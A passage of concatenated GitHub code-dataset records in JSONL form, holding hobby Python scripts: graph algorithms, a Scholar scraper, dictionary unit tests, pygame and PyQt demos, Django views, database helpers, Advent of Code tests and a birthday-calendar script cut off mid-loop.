mst.add_edge(node1, node2, weight=weight['weight'])\n visited.add(node2)\n if display_steps:\n print(f\"Added edge ({node1}-{node2}) with weight {weight['weight']} to MST\")\n\n return mst\n\n# Crear un grafo de ejemplo\nG = nx.Graph()\nG.add_edge('A', 'B', weight=4)\nG.add_edge('A', 'C', weight=2)\nG.add_edge('B', 'C', weight=1)\nG.add_edge('B', 'D', weight=5)\nG.add_edge('C', 'D', weight=8)\n\n# Calcular el MST\nmst = prim_mst(G, display_steps=True)\n\n# Dibujar el grafo original\npos = nx.spring_layout(G)\nnx.draw(G, pos, with_labels=True, node_size=700, node_color='lightblue')\nlabels = nx.get_edge_attributes(G, 'weight')\nnx.draw_networkx_edge_labels(G, pos, edge_labels=labels)\nplt.title(\"Grafo Original\")\nplt.show()\n\n# Dibujar el MST\npos = nx.spring_layout(mst)\nnx.draw(mst, pos, with_labels=True, node_size=700, node_color='lightgreen')\nlabels = nx.get_edge_attributes(mst, 'weight')\nnx.draw_networkx_edge_labels(mst, pos, edge_labels=labels)\nplt.title(\"Árbol de Expansión Mínima (MST) utilizando Prim\")\nplt.show()\n","repo_name":"Pokachupas/Algoritmos_IA","sub_path":"Arbol_Prim.py","file_name":"Arbol_Prim.py","file_ext":"py","file_size_in_byte":1587,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"3232944707","text":"from requests import get\nfrom bs4 import BeautifulSoup\n\n\nclass Scholar:\n def __init__(self, scholar_id) -> None:\n self.scholar_id = scholar_id\n self._get_details()\n\n\n def _get_details(self) -> None:\n uri = 'https://scholar.google.com/citations?user=' + self.scholar_id + '&pagesize=1000000000'\n response = get(uri)\n\n if response.status_code // 100 != 2:\n raise LookupError('No Such Scholar Exists')\n\n response = response.content\n soup = BeautifulSoup(response, 'html.parser')\n\n self.name = soup.find(id='gsc_prf_in').text\n \n self.data = {}\n\n for row in soup.findAll('tr', class_='gsc_a_tr'):\n paper_id = row.find('a', class_='gsc_a_at')['href'].split(':')[-1]\n\n citations = row.find('a', class_='gsc_a_ac gs_ibl').text\n year = row.find(class_='gsc_a_h gsc_a_hc gs_ibl').text\n\n if year and citations:\n year = int(year)\n citations = int(citations)\n else:\n continue\n\n self.data[paper_id] = {'citations': citations, 'year': year}\n\n def __str__(self):\n return str({\n 'name': self.name,\n 'data': self.data\n })\n\n\nif __name__ == '__main__':\n print(Scholar(input('id: ')))\n\n","repo_name":"ritikrajdev/google-scholar","sub_path":"google_scholar/api/scripts/scholar.py","file_name":"scholar.py","file_ext":"py","file_size_in_byte":1312,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"36758815427","text":"#!/usr/bin/env python\nfrom copy import copy, deepcopy\nfrom sdict import sdict, adict\nfrom sdict.base import NoDefault\nimport types\nimport six\n\n# Import unittest2 if we have it, unittest otherwise.\n# unittest2 is required for Python 2.6, optional thereafter.\ntry:\n import unittest2 as unittest\nexcept ImportError:\n import unittest\n\n\nclass BaseSuite(unittest.TestCase):\n def setUp(self):\n fx = lambda x: tuple([-ord(i) for i in six.text_type(x).lower()])\n self.x = sdict(fx, { 'a': 0, 'B': 1, 'x': object(), 'z': 10 })\n\n def test_ordering(self):\n \"\"\"Test initialization of a sorted dictionary.\"\"\"\n self.assertEqual([k for k in self.x], ['z', 'x', 'B', 'a'])\n\n def test_copy(self):\n y = copy(self.x)\n self.assertEqual(self.x, y)\n self.assertNotEqual(id(self.x), id(y))\n self.assertEqual(self.x['x'], y['x'])\n self.assertEqual([k for k in y], ['z', 'x', 'B', 'a'])\n\n def test_deepcopy(self):\n y = deepcopy(self.x)\n self.assertNotEqual(self.x, y)\n self.assertNotEqual(id(self.x), id(y))\n self.assertNotEqual(self.x['x'], y['x'])\n self.assertEqual([k for k in y], ['z', 'x', 'B', 'a'])\n\n\nclass AlphaSuite(unittest.TestCase):\n def test_init_dict(self):\n \"\"\"Test initialzation of alpha sorted dictionaries using\n a plain dictionary.\n \"\"\"\n x = adict({ 'z': 5, 'y': '0', 'a': 'x', 'B': [] })\n self.assertEqual([k for k in x.keys()], ['a', 'B', 'y', 'z'])\n self.assertEqual([v for v in x.values()], ['x', [], '0', 5])\n\n def test_init_kwargs(self):\n \"\"\"Test initialization of alpha sorted dictionaries using\n keyword arguments.\n \"\"\"\n x = adict(z=5, y='0', a='x', B=[])\n self.assertEqual([k for k in x.keys()], ['a', 'B', 'y', 'z'])\n self.assertEqual([v for v in x.values()], ['x', [], '0', 5])\n\n def test_init_assignment(self):\n \"\"\"Test initialization of alpha sorted dictionaries using\n assignment, and going out of order.\n \"\"\"\n x = adict()\n x['z'] = 2\n x['y'] = 1\n x['x'] = 0\n self.assertEqual([k for k in x.keys()], ['x', 'y', 'z'])\n\n def test_setitem(self):\n \"\"\"Test setting of an item, ensuring that we get the results\n we expect.\n \"\"\"\n x = adict(x=0, y=1, z=2)\n self.assertEqual([k for k in x.keys()], ['x', 'y', 'z'])\n x['a'] = 10\n self.assertEqual([k for k in x.keys()], ['a', 'x', 'y', 'z'])\n self.assertEqual([v for v in x.values()], [10, 0, 1, 2])\n x['a'] = 20\n self.assertEqual([k for k in x.keys()], ['a', 'x', 'y', 'z'])\n self.assertEqual([v for v in x.values()], [20, 0, 1, 2])\n\n def test_getitem(self):\n \"\"\"Test item retrieval, ensuring that we get the results\n we expect.\n \"\"\"\n x = adict(x=0, y=1, z=2)\n self.assertEqual(x['y'], 1)\n self.assertEqual(x.get('y'), 1)\n self.assertEqual(x.get('y', None), 1)\n self.assertEqual(x.get('w', None), None)\n with self.assertRaises(KeyError):\n x['w']\n\n def test_delitem(self):\n \"\"\"Test item deletion, ensuring that we get the results\n we expect.\n \"\"\"\n x = adict(x=0, y=1, z=2)\n del x['y']\n self.assertEqual([k for k in x.keys()], ['x', 'z'])\n\n def test_setdefault(self):\n \"\"\"Test setting default, ensuring that we get the results\n we expect.\n \"\"\"\n x = adict(x=0, y=1, z=2)\n x.setdefault('y', 10)\n self.assertEqual(x['y'], 1)\n x.setdefault('w', 10)\n self.assertEqual(x['w'], 10)\n\n def test_update(self):\n \"\"\"Test updating a dictionary, ensuring that we get the results\n that we expect.\n \"\"\"\n x = adict(y=1, z=2)\n x.update({ 'a': 0, 'b': -1 })\n self.assertEqual([k for k in x.keys()], ['a', 'b', 'y', 'z'])\n self.assertEqual([v for v in x.values()], [0, -1, 1, 2])\n\n def test_equality(self):\n \"\"\"Test equality with plain dictionaries, ensuring they act like\n regular dicitonaries.\n \"\"\"\n x = adict(a=1, b=2)\n y = adict(x=object(), y=object())\n self.assertEqual(\n x == { 'a': 1, 'b': 2 },\n { 'a': 1, 'b': 2 } == { 'a': 1, 'b': 2 },\n )\n self.assertEqual(\n y == { 'x': object(), 'y': object() },\n { 'x':object(), 'y':object() } == { 'x':object(), 'y':object() },\n )\n\n def test_clear(self):\n \"\"\"Test clearing, ensuring that it acts as we expect.\"\"\"\n x = adict(i=1, j=2)\n self.assertEqual(x, { 'i': 1, 'j': 2 })\n x.clear()\n self.assertEqual(x, {})\n self.assertEqual([k for k in x.keys()], [])\n x['a'] = 3\n self.assertEqual(x, { 'a': 3 })\n self.assertEqual([k for k in x.keys()], ['a'])\n\n def test_key_coersion(self):\n \"\"\"Test key coersion, ensuring that all dictionary keys\n in an alpha-sorted dictionary are unicode.\n \"\"\"\n x = adict({ 1: 2, 3: 4 })\n self.assertEqual([k for k in x.keys()], ['1', '3'])\n for key in x.keys():\n self.assertIsInstance(key, six.text_type)\n\n def test_index(self):\n \"\"\"Test the index method.\"\"\"\n x = adict(x=0, y=10, z=20)\n self.assertEqual(x.index('y'), 1)\n with self.assertRaises(ValueError):\n x.index('w')\n x['w'] = 40\n self.assertEqual(x.index('y'), 2)\n\n def test_keys(self):\n \"\"\"Test the keys (and iterkeys) method.\"\"\"\n x = adict(x=0, y=10, z=2)\n keys = x.keys()\n if six.PY3:\n self.assertIsInstance(keys, types.GeneratorType)\n else:\n self.assertNotIsInstance(keys, types.GeneratorType)\n self.assertIsInstance(x.iterkeys(), types.GeneratorType)\n self.assertEqual([k for k in keys], ['x', 'y', 'z'])\n\n def test_values(self):\n \"\"\"Test the values (and itervalues) method.\"\"\"\n x = adict(x=0, y=10, z=2)\n values = x.values()\n if six.PY3:\n self.assertIsInstance(values, types.GeneratorType)\n else:\n self.assertNotIsInstance(values, types.GeneratorType)\n self.assertIsInstance(x.itervalues(), types.GeneratorType)\n self.assertEqual([v for v in values], [0, 10, 2])\n\n def test_items(self):\n \"\"\"Test the items (and iteritems) method.\"\"\"\n x = adict(x=0, y=10, z=2)\n items = x.items()\n if six.PY3:\n self.assertIsInstance(items, types.GeneratorType)\n else:\n self.assertNotIsInstance(items, types.GeneratorType)\n self.assertIsInstance(x.iteritems(), types.GeneratorType)\n self.assertEqual([i for i in items], [('x', 0), ('y', 10), ('z', 2)])\n\n def test_copy(self):\n \"\"\"Test copying of the dictionary.\"\"\"\n x = adict(x=0, y=object())\n y = copy(x)\n self.assertNotEqual(id(x), id(y))\n self.assertEqual(x['y'], y['y'])\n\n def test_deepcopy(self):\n x = adict(x=0, y=object(), z=adict(foo='bar'))\n y = deepcopy(x)\n self.assertNotEqual(id(x), id(y))\n self.assertNotEqual(x['y'], y['y'])\n self.assertEqual(x['z'], y['z'])\n self.assertNotEqual(id(x['z']), id(y['z']))\n\n def test_del_after_keys(self):\n \"\"\"Test that we can delete after generating a key cache.\"\"\"\n x = adict(a='x', b='y', c='z')\n self.assertEqual([k for k in x], ['a', 'b', 'c'])\n del x['b']\n self.assertEqual([k for k in x], ['a', 'c'])\n\n def test_pop_without_default(self):\n \"\"\"Test the `pop` method with no default provided.\"\"\"\n x = adict(a='x', b='y', c='z')\n self.assertEqual([k for k in x], ['a', 'b', 'c'])\n val = x.pop('b')\n self.assertEqual(val, 'y')\n self.assertEqual([k for k in x], ['a', 'c'])\n with self.assertRaises(KeyError):\n x.pop('d')\n\n def test_pop_with_default(self):\n \"\"\"Test the `pop` method with a default provided.\"\"\"\n x = adict(a='x', b='y', c='z')\n val = x.pop('b', 'w')\n self.assertEqual(val, 'y')\n val = x.pop('d', 'w')\n self.assertEqual(val, 'w')\n\n def test_repr(self):\n \"\"\"Test the included __repr__ method.\"\"\"\n x = adict(a=0, b=1, c=2, x=-1, z=-2)\n if six.PY3:\n output = \"{'a': 0, 'b': 1, 'c': 2, 'x': -1, 'z': -2}\"\n else:\n output = \"{u'a': 0, u'b': 1, u'c': 2, u'x': -1, u'z': -2}\"\n self.assertEqual(repr(x), output)\n\n def test_recursive_repr(self):\n \"\"\"Test that a recursive repr behaves nicely.\"\"\"\n x = adict()\n x['y'] = adict()\n x['y']['x'] = x\n if six.PY3:\n output = \"{'y': {'x': **RECURSION**}}\"\n else:\n output = \"{u'y': {u'x': **RECURSION**}}\"\n self.assertEqual(repr(x), output)\n\n def test_plain_code_repr(self):\n \"\"\"Test a case with a __repr__ method with a code object,\n but which does not support `object_list`.\n \"\"\"\n class Foo(object):\n def __repr__(self):\n return ''\n x = adict(foo=Foo())\n if six.PY3:\n output = \"{'foo': }\"\n else:\n output = \"{u'foo': }\"\n self.assertEqual(repr(x), output)\n\n def test_py2_non_generators(self):\n \"\"\"Test that keys, items, and values come back as generators\n in Python 3 and lists in Python 2.\n \"\"\"\n x = adict(foo='bar', spam='eggs')\n if six.PY3:\n self.assertIsInstance(x.keys(), types.GeneratorType)\n self.assertIsInstance(x.values(), types.GeneratorType)\n self.assertIsInstance(x.items(), types.GeneratorType)\n else:\n self.assertIsInstance(x.keys(), list)\n self.assertIsInstance(x.values(), list)\n self.assertIsInstance(x.items(), list)\n\n\nclass SupportSuite(unittest.TestCase):\n def test_no_default(self):\n \"\"\"Establish that my NoDefault special object is falsy\n (in case it ever actually matters).\n \"\"\"\n nd = NoDefault()\n self.assertEqual(bool(nd), False)\n\n\nif __name__ == '__main__':\n unittest.main()\n","repo_name":"lukesneeringer/dict-sorted","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":10222,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"21"} +{"seq_id":"33691852191","text":"import json\n\ndict ={}\ndict[\"phase\"]= 1\ndict[\"question\"]= input(\"enter a question\")\ndict[\"sql\"]= {\n \"conds\":[\n [\n 0,\n 0,\n \"1998\"\n ]\n ],\n \"sel\":1,\n \"agg\":0\n }\ndict[\"table_id\"]= input(\"enter a table_id\")\nwith open('User_Input.jsonl', 'w') as file:\n file.write(json.dumps(dict)) ","repo_name":"IEEE-NITK/NLQ_to_SQL","sub_path":"user_input.py","file_name":"user_input.py","file_ext":"py","file_size_in_byte":350,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"21"} +{"seq_id":"39640725317","text":"\"\"\" Find indexes of specific items in inputted list \"\"\"\r\n\r\nl = input().split()\r\nnumber = input()\r\ndef checker(list, number):\r\n x = 0\r\n pos = \"\"\r\n if number in list:\r\n while x < len(list):\r\n a = list[x]\r\n if a == number:\r\n pos += f\"{x} \"\r\n x += 1\r\n else:\r\n return None\r\n return pos\r\n\r\nprint(checker(l,number))\r\n","repo_name":"Serpentarius13/Problems","sub_path":"Number positions in list.py","file_name":"Number positions in list.py","file_ext":"py","file_size_in_byte":387,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"73367617652","text":"import pygame,sys\r\n\r\npygame.init()#初始化pygame\r\n#创建500像素宽和400像素高的窗口\r\n#set_model()函数返回一个pygame.Surface对象\r\nwindowSurface=pygame.display.set_mode((500,400),0,32)\r\npygame.display.set_caption('hello world!')#设置标题\r\n\r\n#设置颜色变量(pygame中表示颜色的数据结构是三个整型的元组(RGB))\r\n#创建常量来保存\r\nBLACK=(0,0,0)\r\nWHITE=(255,255,255)\r\nRED=(255,0,0)\r\nGREEN=(0,255,0)\r\nBLUE=(0,0,255)\r\n\r\n#使用pygame.draw.polygon()函数绘制任意的多边形\r\n#函数参数:\r\n#1.要在其上绘制多边形的Surface对象\r\n#2.多边形的颜色\r\n#3.要一次绘制的xy坐标所构成的元组,最后一个元组将自动连接到第一个元组\r\n#4.可选项,表示多边形线条的宽度的整数值,没有的话多边形会自动填充\r\npygame.draw.polygon(windowSurface,GREEN,((146,0),(291,106),(236,277),(56,277),(0,106)))\r\npygame.display.update()\r\n\r\n#使用pygame.draw.line()函数绘制任意的直线\r\n#函数参数:\r\n#1.要在其上绘制多边形的Surface对象\r\n#2.直线的颜色\r\n#3.直线一端的xy坐标所构成的元组\r\n#4.直线另一端的xy坐标所构成的元组\r\n#5.可选项,表示线条的宽度的整数值\r\npygame.draw.line(windowSurface,BLUE,(60,60),(120,60),5)\r\npygame.draw.line(windowSurface,GREEN,(120,60),(60,120),5)\r\npygame.draw.line(windowSurface,RED,(60,120),(120,120),5)\r\npygame.display.update()\r\n\r\n#使用pygame.draw.circle()函数绘制任意的圆形\r\n#函数参数:\r\n#1.要在其上绘制多边形的Surface对象\r\n#2.圆的颜色\r\n#3.圆心的xy坐标所构成的元组\r\n#4.圆的半径的整数值\r\n#5.可选项,表示线条的宽度的整数值,宽度值0表示填充圆\r\npygame.draw.circle(windowSurface,WHITE,(300,50),20,0)\r\npygame.display.update()\r\n\r\n#使用pygame.draw.ellipse()函数绘制任意的椭圆形\r\n#函数参数:\r\n#1.要在其上绘制多边形的Surface对象\r\n#2.椭圆的颜色\r\n#3.椭圆的左上角的xy坐标以及椭圆的宽和高的四个整数的一个元组\r\n#5.可选项,表示线条的宽度的整数值,宽度值0表示填充椭圆\r\npygame.draw.ellipse(windowSurface,GREEN,(300,250,40,80),1)\r\npygame.display.update()\r\n\r\n#使用pygame.draw.rect()函数绘制任意的矩阵\r\n#函数参数:\r\n#1.要在其上绘制多边形的Surface对象\r\n#2.矩阵的颜色\r\n#3.矩阵左上角的xy坐标以及矩阵的宽和高所构成的元组,也可以只传递一个Rect对象\r\nbasicFont=pygame.font.SysFont(None,48)\r\n\r\ntext=basicFont.render(\"Hello,world!\",True,WHITE,BLUE)\r\ntextRect=text.get_rect()\r\npygame.draw.rect(windowSurface,RED,(textRect.left-20,textRect.top-20,textRect.width+40,textRect.height+40))\r\npygame.display.update()\r\n\r\nwhile True:\r\n pass","repo_name":"days0102/Python","sub_path":"Pygame/Basic/绘制图形.py","file_name":"绘制图形.py","file_ext":"py","file_size_in_byte":2717,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"73694871091","text":"from django.shortcuts import render, redirect\nfrom apps.course_app.models import Course, CourseForm\n\ndef index(request):\n if request.method == \"POST\":\n return redirect(\"/users/delete\")\n data = Course.objects.all()\n coursedict = {\n \"datakey\": data\n }\n return render(request, \"course_app/index.html\", coursedict)\n\ndef process(request):\n form = CourseForm(request.POST)\n if form.is_valid():\n form.course_name = request.POST['course_name']\n form.description = request.POST['description']\n form.save()\n return redirect(\"/courses\")\n\ndef delete(request):\n data = Course.objects.filter(id=request.POST['destroyid'])\n deletedict = {\n \"datakey\": data\n }\n return render(request, \"course_app/delete.html\", deletedict)\n\ndef destroy(request):\n Course.objects.filter(id=request.POST['destroyid']).delete()\n return redirect(\"/courses\")","repo_name":"jawang94/python_repo","sub_path":"django/courses/apps/course_app/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":903,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"38407626711","text":"from main import *\nfrom PyQt5.QtWidgets import *\nfrom PyQt5.QtGui import *\nfrom PyQt5.QtCore import *\n\nEDGE = 5\nHEIGHT = 600\n\nclass View(QWidget):\n def __init__(self):\n super().__init__()\n \n self.initUI()\n\n def initUI(self):\n self.field = [\"0\"]*250\n self.field[125] = \"1\"\n self.fields = [self.field]\n\n #Update painter animation\n updater = QTimer(self)\n updater.start(50)\n updater.timeout.connect(self.update)\n\n self.img = QPixmap(EDGE*len(self.field), HEIGHT)\n self.img.fill(QColor(255, 255, 255))\n\n #Window size\n self.setMinimumSize(QSize(EDGE*len(self.field), HEIGHT))\n self.setMaximumSize(QSize(EDGE*len(self.field), HEIGHT))\n self.setWindowTitle('Patterns')\n self.show()\n\n def paintEvent(self, e):\n \"\"\"Paint board due to self.game.board\"\"\"\n\n #Draw board \n qp = QPainter()\n qp.begin(self.img)\n for i, field in enumerate(self.fields):\n for j, ch in enumerate(field):\n if ch == \"1\":\n qp.setBrush(QColor(0, 0, 0))\n else:\n qp.setBrush(QColor(255, 255, 255))\n qp.drawRect(j*EDGE, i*EDGE, EDGE, EDGE)\n qp.end()\n\n qp.begin(self)\n qp.drawPixmap(QPoint(0,0), self.img)\n qp.end()\n\n del qp\n\n self.field = generate(self.field)\n self.fields += [self.field]\n\n if len(self.fields)*EDGE >= HEIGHT:\n self.fields = self.fields[1:]\n \n \n\napp = QApplication([])\nview = View()\napp.exec()","repo_name":"cuamckuu/CellularAutomation","sub_path":"view.py","file_name":"view.py","file_ext":"py","file_size_in_byte":1606,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"22863569311","text":"from dotenv import load_dotenv\nimport os, time, random, logging, psycopg2, psycopg2.extras\nfrom argparse import ArgumentParser, RawTextHelpFormatter\nfrom psycopg2.errors import SerializationFailure\nload_dotenv()\n\n\"\"\" #loading password\nimport json\nwith open(\"secret.json\") as f:\n secret = json.load(f)\n# with secrets.json\ndef checkConnection():\n #connection with database\n try:\n conn = psycopg2.connect(user=secret['DB_USER'],\n password=secret['DB_PASS'],\n host=secret['DB_HOST'],\n port=secret['DB_PORT'],\n database=secret['DB_NAME'])\n print(\"Connected to SMU DB\")\n return conn\n except (Exception, psycopg2.Error) as error:\n print(\"Failed to complete request\", error)\n return False \"\"\"\n\n# with env file\ndef checkConnection():\n #connection with database\n try:\n conn = psycopg2.connect(user=os.getenv('DB_USER'),\n password=os.getenv('DB_PASS'),\n host=os.getenv('DB_HOST'),\n port=os.getenv('DB_PORT'),\n database=os.getenv('DB_NAME'))\n cur = conn.cursor()\n print(\"Connected to SMU DB\")\n return conn\n except (Exception, psycopg2.Error) as error:\n print(\"Failed to complete request\", error)\n return False\n\ndef closeConnection(conn):\n #closing database connection.\n if conn:\n conn.close()\n print(\"PostgreSQL connection is closed\")\n\n \ndef createTableSubscribers(sid):\n conn = checkConnection()\n cur = conn.cursor()\n cur.execute('''CREATE TABLE IF NOT EXISTS _''' + str(sid) + '''_subscribers(\n id BIGSERIAL NOT NULL PRIMARY KEY, \n email VARCHAR(150) NOT NULL);''')\n conn.commit()\n closeConnection(conn)\n\n\ndef createTableTemplates(sid):\n conn = checkConnection()\n cur = conn.cursor()\n cur.execute('''CREATE TABLE IF NOT EXISTS _''' + str(sid) + '''_templates(\n id BIGSERIAL NOT NULL PRIMARY KEY, \n name VARCHAR(50) NOT NULL, \n link VARCHAR(50) NOT NULL);''')\n conn.commit()\n closeConnection(conn)\n\ndef addDataTemplates(sid, name, link):\n conn = checkConnection()\n cur = conn.cursor()\n cur.execute('''INSERT INTO _''' + str(sid) + '''_templates(name, link) \n VALUES('{0}','{1}');'''.format(name, link))\n conn.commit()\n closeConnection(conn)\n\ndef addDataSubscribers(sid, email):\n conn = checkConnection()\n cur = conn.cursor()\n cur.execute('''INSERT INTO _''' + str(sid) + '''_subscribers(email) \n VALUES('{0}');'''.format(email))\n conn.commit()\n closeConnection(conn)\n\n\ndef readDataTemplates(sid):\n conn = checkConnection()\n cur = conn.cursor()\n tableName = \"_\" + str(sid) + \"_templates\" \n cur.execute(\"SELECT * FROM \" + tableName)\n cur.execute(\"SELECT COUNT (*) FROM \" + tableName)\n count = cur.fetchone()\n cur.execute(\"SELECT * FROM \" + tableName)\n return cur.fetchall() # returns tuple\n conn.commit()\n closeConnection(conn)\n\n\ndef readDataSubscribers(sid):\n conn = checkConnection()\n cur = conn.cursor()\n tableName = \"_\" + str(sid) + \"_subscribers\" \n cur.execute(\"SELECT * FROM \" + tableName)\n cur.execute(\"SELECT COUNT (*) FROM \" + tableName)\n count = cur.fetchone()\n cur.execute(\"SELECT * FROM \" + tableName)\n return cur.fetchall()\n conn.commit()\n closeConnection(conn)\n\n#for testing\nif __name__ == '__main__':\n \"\"\" checkConnection()\n createTableTemplates(50)\n createTableSubscribers(50)\n addDataTemplates(50, 'dec', 'blue')\n addDataSubscribers(50, 'g@gmail.com')\n readDataTemplates(52)\n readDataSubscribers(52) \"\"\"","repo_name":"nandiniproothi/signmeup-bot","sub_path":"cockroachScripts.py","file_name":"cockroachScripts.py","file_ext":"py","file_size_in_byte":3787,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"21"} +{"seq_id":"74128434291","text":"from cmath import inf\nfrom copy import deepcopy\n\nfrom testfixtures import compare\n\nfrom day23.day23 import load_day23_data, Anthropod, anthropod2energy, play_game, anthropods2tuple\n\nprintable_template = [\n [\".\", \".\", \".\", \".\", \".\", \".\", \".\", \".\", \".\", \".\", \".\", ],\n [\" \", \"#\", \".\", \"#\", \".\", \"#\", \".\", \"#\", \".\", \"#\", \" \", ],\n [\" \", \"#\", \".\", \"#\", \".\", \"#\", \".\", \"#\", \".\", \"#\", \" \", ],\n]\n\n\ndef test_load_day23_data():\n \"\"\"\n v---- ---end of hallway ... x = 0\n #############\n #...........# - hallway ... y = 0\n ###B#C#B#D### - room ... y = 1\n #A#D#C#A# - room y = 2\n #########\n \"\"\"\n corridor, anthropods = load_day23_data(\"day23_test_data.txt\")\n compare(corridor, expected=[0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0])\n compare(anthropods, expected=[\n Anthropod('B', 2, 1),\n Anthropod('C', 4, 1),\n Anthropod('B', 6, 1),\n Anthropod('D', 8, 1),\n Anthropod('A', 2, 2),\n Anthropod('D', 4, 2),\n Anthropod('C', 6, 2),\n Anthropod('A', 8, 2),\n ])\n\n\ndef test_get_allowed_moves_out():\n \"\"\"\n v---- ---end of hallway ... x = 0\n #############\n #...........# - hallway ... y = 0\n ###B#C#B#D### - room ... y = 1\n #A#D#C#A# - room y = 2\n #########\n \"\"\"\n bob = Anthropod('B', x=2, y=2)\n everywhere_in_corridor = [(0, 0), (1, 0), (3, 0), (5, 0), (7, 0), (9, 0), (10, 0)]\n compare(bob.get_allowed_moves(anthropods=[], ), expected=everywhere_in_corridor)\n\n blocked_in_by_someone = []\n compare(bob.get_allowed_moves(anthropods=[Anthropod('C', x=2, y=1)], ), expected=blocked_in_by_someone)\n\n blocked_on_the_right = [(0, 0), (1, 0), ]\n compare(bob.get_allowed_moves(anthropods=[Anthropod('C', x=3, y=0)], ), expected=blocked_on_the_right)\n\n blocked_on_the_right = [(3, 0), (5, 0), (7, 0), (9, 0), (10, 0), ]\n compare(bob.get_allowed_moves(anthropods=[Anthropod('C', x=1, y=0)], ), expected=blocked_on_the_right)\n\n # already in the right place\n bob = Anthropod('B', x=4, y=1)\n compare(bob.get_allowed_moves(anthropods=[Anthropod('B', x=4, y=0)], ), expected=[])\n\ndef test_get_allowed_moves_back():\n \"\"\"\n v---- ---end of hallway ... x = 0\n #############\n #...........# - hallway ... y = 0\n ###B#C#B#D### - room ... y = 1\n #A#D#C#A# - room y = 2\n #########\n \"\"\"\n bob = Anthropod('B', x=0, y=0)\n bottom_of_home_room = [(4, 2), ]\n compare(bob.get_allowed_moves(anthropods=[], ), expected=bottom_of_home_room)\n\n top_of_home_room = [(4, 1), ]\n compare(bob.get_allowed_moves(anthropods=[Anthropod('B', x=4, y=2)], ), expected=top_of_home_room)\n\n nowhere = []\n # another anthropod of a different type in the home room - can't go in the empty y=1 space\n compare(bob.get_allowed_moves(anthropods=[Anthropod('C', x=4, y=2)], ), expected=nowhere)\n\n # something in the way in the corridor\n compare(bob.get_allowed_moves(anthropods=[Anthropod('B', x=1, y=0)], ), expected=nowhere)\n\n\ndef print_map(anthropods):\n template = deepcopy(printable_template)\n for anthropod in anthropods:\n template[anthropod.y][anthropod.x] = anthropod.type\n print()\n for row in template:\n print(\"\".join(row))\n\n\ndef string2anthropods(string):\n floormap = string.split(\"\\n\")\n anthropods = []\n for y in range(0, 5):\n for index, c in enumerate(floormap[y + 1]):\n if c in anthropod2energy:\n anthropod = Anthropod(type=c, x=index - 1, y=y)\n anthropods.append(anthropod)\n return anthropods2tuple(anthropods)\n\ndef test_play_example_game():\n # corridor, anthropods = load_day23_data(\"day23_test_data.txt\")\n # results = play_game(anthropods2tuple(anthropods))\n # compare(results, expected=44169)\n floormap = \"\"\"\\\n#############\n#...........#\n###A#B#C#D###\n #A#B#C#D#\n #A#B#C#D#\n #A#B#C#D#\n #########\n\"\"\"\n anthropods = string2anthropods(floormap)\n compare(play_game(anthropods), expected=0)\n#\n# penultimate_floormap = \"\"\"\\\n# #############\n# #.....D.D.A.#\n# ###.#B#C#.###\n# #A#B#C#.#\n# #########\n# \"\"\"\n#\n# anthropods = string2anthropods(penultimate_floormap)\n# compare(play_game(anthropods), expected=7008)\n#\n#\n# penultimate_floormap = \"\"\"\\\n# #############\n# #.....D.....#\n# ###.#B#C#D###\n# #A#B#C#A#\n# #########\n# \"\"\"\n# anthropods = string2anthropods(penultimate_floormap)\n# compare(play_game(anthropods), expected=9011)\n#\n# penultimate_floormap = \"\"\"\\\n# #############\n# #.....D.....#\n# ###B#.#C#D###\n# #A#B#C#A#\n# #########\n# \"\"\"\n# anthropods = string2anthropods(penultimate_floormap)\n# compare(play_game(anthropods), expected=9051)\n#\n#\n# penultimate_floormap = \"\"\"\\\n# #############\n# #...B.......#\n# ###B#.#C#D###\n# #A#D#C#A#\n# #########\n# \"\"\"\n# anthropods = string2anthropods(penultimate_floormap)\n# compare(play_game(anthropods), expected=12081)\n#\n#\n# penultimate_floormap = \"\"\"\\\n# #############\n# #...B.......#\n# ###B#C#.#D###\n# #A#D#C#A#\n# #########\n# # \"\"\"\n# anthropods = string2anthropods(penultimate_floormap)\n# compare(play_game(anthropods), expected=12481)\n#\n#\n#\n# penultimate_floormap = \"\"\"\\\n# #############\n# #...........#\n# ###B#C#B#D###\n# #A#D#C#A#\n# #########\n# \"\"\"\n# anthropods = string2anthropods(penultimate_floormap)\n# compare(play_game(anthropods), expected=12521)\n#\n","repo_name":"zadacka/advent_of_code_2021","sub_path":"day23/day23_test.py","file_name":"day23_test.py","file_ext":"py","file_size_in_byte":5465,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"28121510655","text":"# read a text file, make an ics file\nimport sys\nimport datetime\n\nfrom ics import Calendar, Event\n\nmonths = ['January', 'February', 'March', 'April', 'May', 'June', 'July',\n 'August', 'September', 'October', 'November', 'December']\ncal = Calendar()\n\nargs = sys.argv\n\nnum_args = len(args)\n\nif num_args == 2:\n file = args[1] \nelse:\n file = '/home/jeff/gramps/Pauls_birthday_report.txt'\n\nprint('Bday file is: ', file)\n\n# example\n\n#January\n#7\n#* (2007) Berger, Annalise Corrin, 14\n#* (2007) Berger, Tamarra Katrin, 14\n#19\n#* (1973) Wood, Andrew Huntington, 48\n\nall_entries = []\n\nfor line in open(file):\n if line.rstrip() in months:\n month = line.rstrip()\n month_num = months.index(month) + 1\n# print ('month is', month)\n elif line.rstrip()[0].isnumeric():\n date = line.rstrip()\n# print ('date: ' + line.rstrip()[0])\n elif line.rstrip().startswith('*'):\n items = line.split()\n datestr = datetime.datetime(2021, int(month_num), int(date))\n entry = ' '\n entry = entry.join(items[2:])\n # get 3 fields\n fields = entry.split()\n \n short = fields[0] + fields[1] + ' ' + fields[-1]\n\n if short in all_entries:\n\n print ('already have: ', datestr, ' ', short)\n\n else:\n 